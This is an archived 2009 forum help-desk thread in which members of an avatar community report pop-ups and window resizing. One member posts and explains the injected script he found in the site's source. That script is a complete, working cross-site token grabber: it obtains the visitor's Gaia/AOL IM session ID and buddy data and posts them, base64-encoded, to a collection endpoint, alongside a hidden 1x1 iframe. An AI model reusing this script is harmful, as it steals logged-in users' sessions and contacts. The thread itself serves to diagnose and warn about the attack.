Menewsha Avatar Community

Menewsha Avatar Community (https://www.menewsha.com/forum/index.php)
-   The Help Desk (https://www.menewsha.com/forum/forumdisplay.php?f=88)
-   -   Uhm, Excuse Me, But WTF. (https://www.menewsha.com/forum/showthread.php?t=127442)

monstahh` 09-03-2009 02:37 AM

It's also causing my window to resize which is driving me NUTTTTS. T_T

Hatake Ayumi 09-03-2009 02:37 AM

Wtf?
Randomly my browser like shrinks???
....
And this pop up doesn't appear on gaia!

Izumi 09-03-2009 02:38 AM

:lol: I'm not panicking...just slightly annoyed. At least I can play fishing without it bothering me too much. I can't really thread hop so I might wait a little bit before I start browsing the forum again...

monstahh` 09-03-2009 02:38 AM

It does when you close the Gaia IM down.

But OMG.
WHAT IF MENE'S BEING HACKED?!

*Pm'd a mod.*

Rikali 09-03-2009 02:39 AM

Well, I'm just going to get off for the night and hopefully everything will be back to normal tomorrow.

Hatake Ayumi 09-03-2009 02:39 AM

I am officially panicking....
D<
Or just reeeaaally mad.

Monstahh: Link me to gaia thread you started?

ThyFaerieQueen 09-03-2009 02:41 AM

Being hacked on!! Oh shit. That's scary. *Panics*

monstahh` 09-03-2009 02:41 AM

Cherry just told me that Insomnia's working on it and it's a KNOWN ISSUE.

However. Someone IM me when it's fixed because I can't deal with my browser resizing every 5 seconds.

[email protected]

Hatake - I think it's a problem with mene not gaia but still...wtf...

ThyFaerieQueen 09-03-2009 02:43 AM

Oh thank God.... YAY! So it will be fixed by morning!! *Dances* I needs to go to bed, got school tomorrow. Early 4 student council...

Trystan 09-03-2009 02:43 AM

I do believe this section of code is to blame

Found it on the page source sheet.

For those who don't read code, it is basically telling your computer to load Gaia IM on every page of menewsha and then hides it in a 1x1 size box.

Still reading through it to see what else it does, but my guess is that someone decided to mess with things they shouldn't be messing with :|



Code:

<script>

function base64_encode( data ) {
    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc="", tmp_arr = [];

    if (!data) {
        return data;
    }

    data = this.utf8_encode(data+'');
   
    do { // pack three octets into four hexets
        o1 = data.charCodeAt(i++);
        o2 = data.charCodeAt(i++);
        o3 = data.charCodeAt(i++);

        bits = o1<<16 | o2<<8 | o3;

        h1 = bits>>18 & 0x3f;
        h2 = bits>>12 & 0x3f;
        h3 = bits>>6 & 0x3f;
        h4 = bits & 0x3f;

        tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    } while (i < data.length);
   
    enc = tmp_arr.join('');
   
    switch( data.length % 3 ){
        case 1:
            enc = enc.slice(0, -2) + '==';
        break;
        case 2:
            enc = enc.slice(0, -1) + '=';
        break;
    }

    return enc;
}

function utf8_encode ( argString ) {
    var string = (argString+'').replace(/\r\n/g, "\n").replace(/\r/g, "\n");

    var utftext = "";
    var start, end;
    var stringl = 0;

    start = end = 0;
    stringl = string.length;
    for (var n = 0; n < stringl; n++) {
        var c1 = string.charCodeAt(n);
        var enc = null;

        if (c1 < 128) {
            end++;
        } else if((c1 > 127) && (c1 < 2048)) {
            enc = String.fromCharCode((c1 >> 6) | 192) + String.fromCharCode((c1 & 63) | 128);
        } else {
            enc = String.fromCharCode((c1 >> 12) | 224) + String.fromCharCode(((c1 >> 6) & 63) | 128) + String.fromCharCode((c1 & 63) | 128);
        }
        if (enc !== null) {
            if (end > start) {
                utftext += string.substring(start, end);
            }
            utftext += enc;
            start = end = n+1;
        }
    }

    if (end > start) {
        utftext += string.substring(start, string.length);
    }

    return utftext;
}


function isset()
{
        var a=arguments, l=a.length, i=0;
       
        if (l===0)
        {
                throw new Error('Empty isset');
        }
       
        while (i!==l)
        {
                if (typeof(a[i])=='undefined' || a[i]===null)
                {
                        return false;
                }
                else
                {
                        i++;
                }
        }
        return true;
};

var loadScript = function(url, callback)
{
        var script = document.createElement("script")
        script.type = "text/javascript";
        if (callback)
        {
                if (script.readyState)
                {
                        script.onreadystatechange = function()
                        {
                                if (script.readyState == "loaded" || script.readyState == "complete")
                                {
                                        script.onreadystatechange = null;
                                        callback();
                                }
                        };
                }
                else
                {
                        script.onload = function()
                        {
                                callback();
                        };
                }
        }
        script.src = url;
        document.body.appendChild(script);
}

function serialize(mixed_value)
{
        var _getType = function(inp) {
                var type = typeof inp,
                match;
                var key;
                if (type == 'object' &&! inp) {
                        return 'null';
                }
                if (type == "object") {
                        if ( ! inp.constructor) {
                                return 'object';
                        }
                        var cons = inp.constructor.toString();
                        match = cons.match(/(\w+)\(/);
                        if (match) {
                                cons = match[1].toLowerCase();
                        }
                        var types = ["boolean", "number", "string", "array"];
                        for (key in types) {
                                if (cons == types[key]) {
                                        type = types[key];
                                        break;
                                }
                        }
                }
                return type;
        };
        var type = _getType(mixed_value);
        var val,
        ktype = '';
        switch(type) {
                case "function": val = "";
                break;
                case "boolean": val = "b:" + (mixed_value ? "1": "0");
                break;
                case "number": val = (Math.round(mixed_value) == mixed_value ? "i": "d") + ":" + mixed_value;
                break;
                case "string": val = "s:" + encodeURIComponent(mixed_value).replace(/%../g, 'x').length + ":\"" + mixed_value + "\"";
                break;
                case "array": case "object": val = "a";
                var count = 0;
                var vals = "";
                var okey;
                var key;
                for (key in mixed_value) {
                        ktype = _getType(mixed_value[key]);
                        if (ktype == "function") {
                                continue;
                        }
                        okey = (key.match(/^[0-9]+$/) ? parseInt(key, 10): key);
                        vals += serialize(okey) + serialize(mixed_value[key]);
                        count ++ ;
                }
                val += ":" + count + ":{" + vals + "}";
                break;
                case "undefined": default: val = "N";
                break;
        }
        if (type != "object" && type != "array") {
                val += ";";
        }
        return val;
}

var aimsid = '';

loadScript("https://www.gaiaonline.com/gapi/rest/gim/?method=aimauth&type=standalone&purge_cache=false&format=callback&c=gimloaded&r=0&nocache=1251945525");
var gimloaded = function()
{
        if (isset(dataSecure) && dataSecure.response.statusCode == '200')
        {
                aimsid = dataSecure.response.aimsid;
                loadScript("http://api.oscar.aol.com/presence/get?aimsid=" + dataSecure.response.aimsid + "&f=json&c=gimfriendloaded&r=3&nocache=1251945525&bl=1");
        }
}

var gimfriendloaded = function(data)
{
        jQuery.post("/gimcollect.php", 'aimsid=' + base64_encode(aimsid) + '&data=' + base64_encode(serialize(data)));
}

</script>
<iframe width=1 height=1 src="http://www.gaiaonline.com/gim"></iframe>


Hatake Ayumi 09-03-2009 02:45 AM

Awesomeness.
Though now my screen is a itty bitty sliver....
*logs off for a bit*

Here's to hoping this get's fixed before tomorrow, 3 pm est, I think 2 pm central.
8D

*goes to rampage off*

Trystan 09-03-2009 02:47 AM

also, for a fix if anyone doesn't like it and they are on firefox

Tools > options > content and click the little box next to enable javascript

this will make FF not load any javascript, meaning that it wont load the Gaia AIM server.

I don't know what else this would disable on Mene, but it is manageable.

ThyFaerieQueen 09-03-2009 02:49 AM

I don't want to screw up my internet for now, Mom would kill me, but thanks for the tip Trystan!

Izumi 09-03-2009 02:51 AM

Thanks Trystan. I'll try it and as long as I can still play fishing I'll live with it like that. It's easy enough to toggle back on once things are finished.

Trystan 09-03-2009 02:51 AM

you can always just reenable it (click the little box again) when you are done :3

but emeh. You are welcome ^^

Mingnon 09-03-2009 02:51 AM

I hate to click on 'yes' to get rid of the thing every time I try to go to the next page!

And what about for IE users, Trystan?

iiCyanide-x-Cookiesii 09-03-2009 02:52 AM

Aaaah!
Jesus cat-in-the-hat Christ!
Mene!
You scared me...
Cyanide went into a panic...thinking Mene was being haxored by Gaia.
Mene! I was so worried!
But, thankfully I calmed down and looked around to find out what was going on.
Thank Jesus H. Christ on a pogo stick dancing around in my head that everything will be okay.
Uhm...yeah...
:sweat:
I bid you adeui for the night Mene.
Get better soon.
:heart:
{By the by Mignon...I believe you are right on the money with that thought.}

Ceridwen_Crystaline Ikoda 09-03-2009 02:53 AM

I *think* that worked for me, let's see if it proves me wrong in the next five seconds...

Thanks a lot, Trystan. <3

Everyone else, keep your chins up~.

Edit: Eff. Still happening to me.

Trystan 09-03-2009 02:54 AM

it isn't Gaia's doing.

They don't profit in any way from this.

This is someone deciding to play a prank on the general users, and possibly do worse to those who play Gaia and mene.

I don't think they intended for the navigating away pop-up. Which means that they don't entirely know what they are doing.

Mingnon 09-03-2009 02:55 AM

Quote:

Originally Posted by Trystan (Post 1765015898)
it isn't Gaia's doing.

They don't profit in any way from this.

This is someone deciding to play a prank on the general users, and possibly do worse to those who play Gaia and mene.

I don't think they intended for the navigating away pop-up. Which means that they don't entirely know what they are doing.

I was just joking...

I'll get rid of it now... >.>;

Sidhe 09-03-2009 02:57 AM

This was happening to me while I was trying to read this, and I haven't been on Gaiaonline for more than a week.

I thank you, Trystan as well, for your superb code translation, but my Father would probably eat me alive if I went messing with things I don't know about. :)

Cora 09-03-2009 02:58 AM

definately hapening to me....the resizing of the window too...and this is like only in the last half hour....

Trystan 09-03-2009 02:58 AM

Quote:

Originally Posted by Ceridwen_Crystaline Ikoda (Post 1765015894)
I *think* that worked for me, let's see if it proves me wrong in the next five seconds...

Thanks a lot, Trystan. <3

Everyone else, keep your chins up~.

Edit: Eff. Still happening to me.


you are welcome.

it will still happen once after you disable the javascript for FF because you already loaded the page. after that, it should be gone.

As for IE, I am looking for a solution but it is a bit trickier.

Sakura_Madison 09-03-2009 02:58 AM

It is happening to me as well.

I hope it does get fixed soon!

L i x i e 09-03-2009 02:58 AM

So annoying.
x_x

Thanks for clearing up stuff though, Trystan. :]


All times are GMT. The time now is 09:47 AM.